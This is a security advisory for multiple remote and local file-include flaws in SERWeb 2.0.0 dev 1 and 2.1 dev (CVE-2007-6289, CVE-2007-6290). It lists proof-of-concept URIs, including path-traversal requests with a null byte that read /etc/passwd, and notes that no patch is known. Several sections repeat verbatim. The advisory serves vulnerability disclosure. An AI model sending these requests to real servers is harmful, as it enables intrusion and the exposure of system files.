SERWeb Multiple Remote and Local File Include Vulnerabilities
BID:26747
Info
SERWeb Multiple Remote and Local File Include Vulnerabilities
| Bugtraq ID: | 26747 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-6289 CVE-2007-6290 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 06 2007 12:00AM |
| Updated: | Jul 27 2009 11:35PM |
| Credit: | GoLd_M is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
IPTel SerWeb 2.1 -dev1_2009-07-02 IPTel SerWeb 2.0.0 dev 1 |
| Not Vulnerable: | |
Discussion
SERWeb Multiple Remote and Local File Include Vulnerabilities
SERWeb is prone to multiple remote and local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
Exploiting these issues will allow an attacker to access potentially sensitive information and execute arbitrary scripts or PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
These issues affect SERWeb 2.0.0 dev 1; other versions may also be affected.
UPDATE (July 27, 2009): SERWeb 2.1.0-dev1_2009-07-02 is reported vulnerable to the remote file-include issues.
SERWeb is prone to multiple remote and local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
Exploiting these issues will allow an attacker to access potentially sensitive information and execute arbitrary scripts or PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
These issues affect SERWeb 2.0.0 dev 1; other versions may also be affected.
UPDATE (July 27, 2009): SERWeb 2.1.0-dev1_2009-07-02 is reported vulnerable to the remote file-include issues.
Exploit / POC
SERWeb Multiple Remote and Local File Include Vulnerabilities
Attackers may exploit these issues through a browser.
The following proof-of-concept URIs are available:
Remote file-include:
http://www.example.com/load_lang.php?_SERWEB[configdir]=Shell
http://www.example.com/main_prepend.php?_SERWEB[functionsdir]=Shell
http://www.example.com/load_phplib.php?_PHPLIB[libdir]=Shell
Local file-include:
http://www.example.com/js/get_js.php?mod=../../../../../../../etc/passwd%00
http://www.example.com/js/get_js.php?js=../../../../../../../etc/passwd%00
Attackers may exploit these issues through a browser.
The following proof-of-concept URIs are available:
Remote file-include:
http://www.example.com/load_lang.php?_SERWEB[configdir]=Shell
http://www.example.com/main_prepend.php?_SERWEB[functionsdir]=Shell
http://www.example.com/load_phplib.php?_PHPLIB[libdir]=Shell
Local file-include:
http://www.example.com/js/get_js.php?mod=../../../../../../../etc/passwd%00
http://www.example.com/js/get_js.php?js=../../../../../../../etc/passwd%00
Solution / Fix
SERWeb Multiple Remote and Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].